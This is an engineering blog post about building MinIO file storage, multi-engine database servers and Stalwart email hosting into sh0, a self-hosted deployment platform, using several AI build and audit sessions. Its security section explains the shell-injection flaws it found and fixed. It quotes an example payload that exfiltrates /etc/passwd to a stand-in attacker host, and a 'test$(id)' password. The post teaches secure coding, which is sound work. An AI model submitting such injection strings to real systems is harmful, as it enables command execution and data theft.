Three Managed Services in One Day: How We Built File Storage, Database Servers, and Email Hosting for sh0

On April 4-5, 2026, we shipped three managed services into sh0 -- a self-hosted deployment platform built in Rust. File Storage (S3-compatible via MinIO), Database Servers (standalone PostgreSQL/MySQL/MariaDB/MongoDB/Redis), and Email Hosting (managed Stalwart mail server with DKIM/SPF/DMARC). Combined, they represent 56 API endpoints, 11 database tables, ~6,000 lines of Rust, ~3,200 lines of Svelte, translations in 5 languages, and 15 security findings caught and fixed before shipping.

None of these features existed 36 hours ago. Today they are audited, tested, and production-ready.

This post documents how we built them, what broke along the way, what the auditors caught that the builders missed, and why a methodology of coordinated AI sessions is what makes this kind of velocity possible without sacrificing quality.

The Context: What sh0 Needed

sh0 is a self-hosted alternative to platforms like Heroku, Render, and Railway. It is a single Rust binary with an embedded Svelte dashboard. Users install it on their own servers, deploy apps via Git push or one-click templates, and manage everything through the dashboard.

Before this work, sh0 could deploy apps, manage domains, run cron jobs, handle backups, and monitor containers. But three critical gaps remained for cPanel parity:

1. File Storage. Every Laravel, WordPress, and Next.js app needs somewhere to store uploads. Users were manually deploying MinIO from the template hub. We wanted sh0 to manage it as a first-class service.

1. Database Servers. sh0 already had per-stack databases (a MySQL container inside a WordPress stack). But cPanel users expect a global "Manage My Databases" view -- shared database instances that multiple apps can connect to.

1. Email. This is the feature that Vercel, Wix, and WordPress.com don't offer. Self-hosted email with proper DKIM, SPF, and DMARC is the single biggest reason people still use cPanel. We wanted to make it simple.

The Architecture Pattern: Managed Service as Container

All three features follow the same architecture:

User Request → API Handler → Credential Encryption → Docker Container → Admin API Client
                                                          ↓
                                                    sh0-net bridge
                                                    Docker volume
                                                    Random host ports

Each managed service is a Docker container on the sh0-net bridge network. Credentials are generated randomly, encrypted with AES-256-GCM using the master key, and stored in SQLite. An admin API client (or docker exec commands) manages the service from the outside.

The pattern was established by the AI sandbox (our first managed container) and refined by File Storage. By the time we built Database Servers and Mail, the pattern was rock-solid.

Part 1: File Storage (MinIO)

The Decision: mc Over AWS SigV4

MinIO exposes two APIs: the standard S3 API and a proprietary Admin API. The S3 API requires AWS Signature Version 4 signing -- a notoriously fiddly protocol involving canonical request construction, HMAC-SHA256 chains, and precise header ordering.

We chose to skip all of that. MinIO ships with mc (MinIO Client) built into every container. Instead of implementing SigV4 in Rust, we shell into the container via Docker exec:

bashdocker exec sh0-system-minio mc mb local/my-bucket
docker exec sh0-system-minio mc admin user svcacct add local ROOT --name "app-key" --json

This decision gave us 9 functions covering buckets, access keys, and usage stats with zero additional dependencies. The trade-off: we are constructing shell commands from user input, which creates injection risks.

The Shell Injection That Almost Shipped

The audit caught it. The mc_exec function runs sh -c with string interpolation. Bucket names and access key descriptions were passed directly into the shell command. The description field was placed in double quotes:

bashmc admin user svcacct add local ROOT --name "${description}" --json

Inside double quotes, $(...), backticks, and $VAR are all expanded by the shell. An attacker could submit:

json{ "description": "$(curl attacker.com/exfil?data=$(cat /etc/passwd))" }

And the shell would execute it inside the MinIO container.

The fix was two-fold:

1. validate_shell_safe() -- a whitelist function accepting only [a-zA-Z0-9\-_.] for all interpolated values
2. Switch from double quotes to single quotes for the description field -- single quotes prevent all shell expansion in sh

Combined with input validation at the API handler level, this provides defense in depth. Neither layer alone is sufficient.

The Runtime Bugs Audits Cannot Catch

Despite two thorough code audits, manual testing found 6 bugs:

• Dynamic port mapping. Docker maps container ports to random host ports. The bootstrap stored localhost:9000 in the database. Every API request now queries Docker for actual port mappings.
• Missing console credentials. The MinIO web console requires authentication, but the username and password were never exposed to the dashboard. Added a credential reveal toggle.
• Modal state. After creating an access key, the modal didn't close, hiding the one-time secret banner.

These bugs teach an important lesson: code review and security audits are necessary but not sufficient. Someone has to click through the actual UI.

File Storage by the Numbers

Part 2: Database Servers

Five Engines, One Interface

Database Servers support PostgreSQL, MySQL, MariaDB, MongoDB, and Redis. Each engine has different CLI tools, credential patterns, and SQL dialects. The challenge was building a unified interface without papering over the differences.

The solution: db_server_ops.rs, a dispatch module with 9 public functions that each branch on a DbEngine enum:

rustpub async fn create_database(docker, container_id, engine, db_name, root_user, root_pass) -> Result<()> {
    match engine {
        DbEngine::Postgres => pg_create_database(docker, container_id, db_name, root_user, root_pass).await,
        DbEngine::Mysql | DbEngine::Mariadb => mysql_create_database(docker, container_id, db_name, root_user, root_pass).await,
        DbEngine::Mongodb => mongo_create_database(docker, container_id, db_name, root_user, root_pass).await,
        DbEngine::Redis => Err(DbServerOpsError::UnsupportedOperation("Redis does not support named databases".into())),
    }
}

Each engine function runs the appropriate CLI tool inside the container via docker exec. PostgreSQL uses psql, MySQL uses mysql, MongoDB uses mongosh, Redis uses redis-cli ACL.

The Password Security Gauntlet

Database operations require passing credentials to CLI tools running inside containers. This is the most dangerous part of the entire system. The audit trail tells the story:

Audit Round 1 found 4 Critical issues:

1. C1: MongoDB password escaping order reversed. The code did replace('\'', "\\'").replace('\\', "\\\\") which double-escaped backslashes from step 1. A password containing ' could escape the JavaScript string context in mongosh --eval.

1. C2: MySQL passwords in shell double-quotes. All 8 MySQL functions used exec_shell() (wraps in sh -c), placing passwords inside shell double-quotes where $() and backticks are interpreted. A password test$(id) would execute commands.

1. C3: Root password logged in debug traces. debug!(cmd = ?cmd) logged the full command vector, which included MongoDB's -p root_pass argument.

1. C4: Missing audit logs on 3 mutation endpoints. Start, stop, and change_password operations were not being recorded.

Audit Round 2 found 1 more Critical issue:

1. C5: Redis user password shell escaping wrong. Used password.replace('\'', "\\'") but inside shell single quotes, \' does NOT escape the quote -- it terminates the string. The correct pattern is password.replace('\'', "'\\''").

Each round caught issues the previous one missed. C5 (Redis) was only found by a fresh auditor who was not primed by the C2 (MySQL) fix. This is the multi-session audit methodology in action.

External Access: Caddy Layer 4

The deferred features session added TCP routing for external database access. When a user enables external access with an IP allowlist, sh0 generates a Caddy Layer 4 configuration:

json{
  "apps": {
    "layer4": {
      "servers": {
        "db-server-abc123": {
          "listen": [":10001"],
          "routes": [{
            "match": [{ "remote_ip": { "ranges": ["203.0.113.42"] } }],
            "handle": [{ "handler": "proxy", "upstreams": [{ "dial": ["localhost:54321"] }] }]
          }]
        }
      }
    }
  }
}

Port allocation uses the range 10000-10999 with conflict detection. 0.0.0.0/0 is blocked at both the API and UI level. CIDR ranges are validated (minimum /16 for IPv4, /48 for IPv6). Temporary access auto-expires via lazy check on read operations.

The implementation degrades gracefully: if Caddy lacks the Layer 4 plugin (requires a custom build), the configuration is saved in the database but a warning is logged. The feature is ready for when the infrastructure catches up.

Database Servers by the Numbers

Part 3: Mail (Stalwart)

Why This Feature Matters Most

Vercel does not offer managed email. Neither does Wix, Railway, Render, or Fly.io. Email hosting is the single biggest reason developers and small businesses still use cPanel.

The problem is not sending email -- that is what Postmark and SendGrid are for. The problem is receiving email, hosting mailboxes, and making email actually arrive in inboxes instead of spam folders. That requires DKIM, SPF, and DMARC -- three DNS record types that most developers struggle to configure correctly.

sh0's mail feature solves this with a 4-step setup wizard that generates all the DNS records, provides copy buttons, and optionally auto-configures everything via Cloudflare's API.

The Engine: Stalwart Mail Server

We chose Stalwart over the traditional Postfix + Dovecot + SpamAssassin stack. Stalwart is a modern, all-in-one SMTP + IMAP + JMAP server written in Rust. Single binary, single Docker image, built-in spam filtering, built-in DKIM signing.

It matches sh0's "single binary" philosophy. And it exposes a REST admin API on port 8080, which means we can manage domains, accounts, and DKIM keys programmatically without templating configuration files.

DKIM Key Generation

Every mail domain needs a DKIM signing key -- an RSA 2048-bit key pair where the private key signs outgoing mail and the public key lives in a DNS TXT record.

We evaluated two approaches:

1. ring crate. Already a dependency in sh0-auth. But ring v0.17 has limited RSA key generation support -- it is primarily designed for signing with existing keys, not generating new ones.

1. openssl CLI. Universally available on Linux. Two commands: openssl genrsa 2048 for the private key, openssl rsa -pubout for the public key.

We chose openssl. It is simpler, works on every Linux server (the target platform), and avoids fighting with ring's API.

DNS: The Killer Feature

The DNS setup is the most important UX in the entire mail feature. cPanel does it poorly. sh0 does it like this:

Configure your DNS records

Type    Name                              Value
A       mail.zerosuite.com                5.78.182.107                        [Copy]
MX      zerosuite.com                     mail.zerosuite.com (priority 10)    [Copy]
TXT     zerosuite.com                     v=spf1 ip4:5.78.182.107 ~all       [Copy]
TXT     sh0._domainkey.zerosuite.com      v=DKIM1; k=rsa; p=MIIBIjAN...     [Copy]
TXT     _dmarc.zerosuite.com              v=DMARC1; p=quarantine; ...        [Copy]

Using Cloudflare? sh0 can configure DNS automatically.
[Connect Cloudflare API]

[Verify DNS]    [Skip for now]

The "Verify DNS" button calls dig against each record and shows inline status per record (green check, yellow spinner, red X). The PTR record check uses reverse DNS lookup and shows a provider-specific guidance message if not configured.

The Cloudflare auto-configure calls sh0's existing CloudflareClient (extended with MX and TXT record support) to create all 5 records in one click.

DNS Verification Without New Dependencies

We considered trust-dns-resolver for DNS verification but chose to call dig directly via std::process::Command. This avoids adding a dependency, works on every Linux server, and gives us the exact same behavior as a human running dig from the command line.

Safety measures: - Domain names are validated before interpolation (no shell metacharacters) - Commands use exec-style argument passing (not sh -c) - Each query has a 5-second timeout via tokio::time::timeout - A diagnostic check for missing dig binary logs an actionable message

The Global Audit: 230 Checklist Items

The final audit covered the entire Mail MVP across all three build sessions. It verified 230 items across 19 sections:

• Schema integrity: All 3 tables, foreign keys, indexes, defaults
• Model layer: CRUD operations, from_row mapping, encrypted fields
• DKIM crypto: Key generation, DNS formatters, selector naming
• Docker container: Port bindings, volume mounts, network config, labels
• Stalwart client: API authentication, account CRUD, DKIM upload
• DNS verification: dig timeouts, PTR checks, missing binary detection
• Cloudflare extension: MX/TXT records, partial failure traceability
• 15 API handlers: RBAC, audit logging, encryption, response format
• Route registration: OpenAPI annotations, path correctness
• TypeScript types: Field-for-field match with Rust DTOs
• 3 dashboard pages: Svelte 5 patterns, i18n, dark mode, security
• French accents: Every accent verified correct across 115 keys per language
• Cross-layer consistency: Backend DTO -> TypeScript interface -> API client -> Dashboard rendering

Result: 227 pass, 3 fail. Zero critical findings. The 3 failures were hardcoded English strings that bypassed i18n -- all fixed.

Mail MVP by the Numbers

The Methodology That Makes This Possible

Why Multiple Sessions, Not One Long Session

Each AI session optimizes locally. The builder sees 1,200 lines of new code and knows every design decision intimately. That intimate knowledge creates blind spots. The builder does not question their own escaping logic. The builder does not second-guess their own error handling.

A fresh session sees the code for the first time. It reads the same 1,200 lines but without the context of "I chose this approach because..." It asks: "Is this escaping correct?" without the bias of having written it.

This is why the multi-session methodology consistently catches issues:

The Session Flow

Build Session           → Code + compile check
                ↓
Audit Session 1         → Read all files, fix Critical + Important
                ↓
Audit Session 2         → Verify fixes, fresh perspective
                ↓
CEO Manual Testing      → Running server, real browser, real clicks
                ↓
Bug Fix Session         → Fix runtime issues found in testing

Each session produces a session log, a testing checklist, and updates the FEATURES-TODO. The testing checklist is designed so anyone can pick it up cold and verify every change without reading the session log.

The Numbers Across All Three Features

Plus the Database Server backups integration (wiring existing backup engine to the new source type -- ~480 lines, zero new dependencies) and the deferred features session (password strength, PATCH endpoint, stats, TCP routing).

What the Critical Findings Tell Us

All 8 critical findings across these features were injection vulnerabilities in shell commands or script execution:

1-2. MinIO: shell injection in bucket names and description field 3. MinIO: description double-quote expansion 4. MongoDB: password escaping order reversed (JS breakout) 5. MySQL: passwords in shell double-quotes (command substitution) 6. Debug log: root password in trace output 7. Redis: wrong single-quote escaping pattern 8. Missing audit logs (not injection, but security gap)

The pattern is clear: any time user input touches a shell command, injection is the default outcome unless you actively prevent it. The docker exec pattern is powerful but inherently dangerous. Every new function that interpolates user input is a potential vulnerability.

The defense-in-depth approach that emerged: 1. Validate at the API handler (reject characters outside the whitelist) 2. Validate at the operations module (double-check before interpolation) 3. Use exec-style arguments instead of sh -c wherever possible 4. Use environment variables for passwords (PGPASSWORD, MYSQL_PWD) 5. Use stdin for sensitive values when env vars are not an option 6. Quote correctly (single quotes for shell, double quotes for SQL identifiers)

What Developers Can Learn From This

1. The "mc over SDK" Pattern

When managing a containerized service, you often have two options: implement the service's protocol (S3, SMTP, etc.) or shell into the container and use its built-in CLI tools. The CLI approach is faster to implement but requires careful input sanitization. Use it when: the CLI is well-documented, the operations are administrative (not high-throughput), and you validate all inputs.

2. Encrypted Credentials as First-Class Citizens

Every managed service stores credentials encrypted at rest (AES-256-GCM). They are decrypted only at the moment of use and never logged. This is not optional -- it is the baseline. If your system stores database passwords in plaintext, fix it before adding features.

3. DNS Is the Hardest Part of Email

The technical work of deploying Stalwart and creating mailboxes is straightforward. The hard part is the DNS configuration. SPF, DKIM, and DMARC are three separate record types with different formats, different names, and different validation rules. A setup wizard that generates all the records with copy buttons is the single most valuable UX investment in the entire feature.

4. The Value of Fresh Eyes

We found 8 critical security issues across these features. Every single one was found by an auditor, not by the builder. The builder wrote correct code most of the time, but the edge cases -- escaping order, quote style, debug log content -- were all caught by sessions that read the code without the context of having written it.

5. Runtime Testing Is Non-Negotiable

Code audits found the security issues. Manual testing found the UX issues. Both are necessary. A feature that is secure but unusable (wrong port in the URL, credentials not shown, modal not closing) is still a failure.

What Comes Next

The three managed services are shipped. The immediate next steps:

• Mail Phase 2: Roundcube webmail container, spam filter configuration UI, auto-reply per mailbox
• Database Server Improvements: pg_dump/mysqldump scheduled backups from the Backups tab, sidebar count badge
• File Storage Improvements: Per-bucket usage bars, Garage/SeaweedFS engine support
• Cross-feature: Environment variable injection (connect a file storage bucket or database to a stack via env vars)

The infrastructure pattern is proven. Each new managed service follows the same flow: Docker container, encrypted credentials, admin API client, API handlers with RBAC, dashboard with tabs and modals. The methodology -- build, audit, audit, test -- converges on the right answer through diverse perspectives.

Three services, one day, zero critical issues at ship time. That is the power of building software with AI sessions that check each other's work.